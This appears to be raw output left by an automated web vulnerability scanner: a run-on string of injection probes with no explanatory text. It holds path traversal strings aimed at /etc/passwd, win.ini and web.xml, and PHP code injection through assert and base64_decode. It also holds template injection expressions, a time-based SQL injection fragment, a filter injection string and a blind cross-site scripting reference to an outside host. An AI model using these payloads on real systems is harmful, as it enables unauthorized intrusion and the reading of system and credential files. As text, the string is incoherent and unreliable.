pHqghUme joke browserling bxss.me/t/xss.html?%00 file:///etc/passwd /WEB-INF/web.xml /etc/shells <%={{={@{#{${dfb}}%> ../../../../../../../../../../../../../../../proc/version C:\WINDOWS\system32\drivers\etc\hosts c:/windows/win.ini ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); <th:t="${dfb}#foreach 0"XOR(if(now()=sysdate() ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd /../../../../../../../../../../boot.ini bxss.me ';print(md5(31337));$a=' 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%> 0))XOR"Z ..\..\..\..\..\..\..\..\windows\win.ini ) ";print(md5(31337));$a=" dfb{{98991*97996}}xca 1 ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini !(()&&!|*|*| ${@print(md5(31337))} dfb[[${98991*97996}]]xca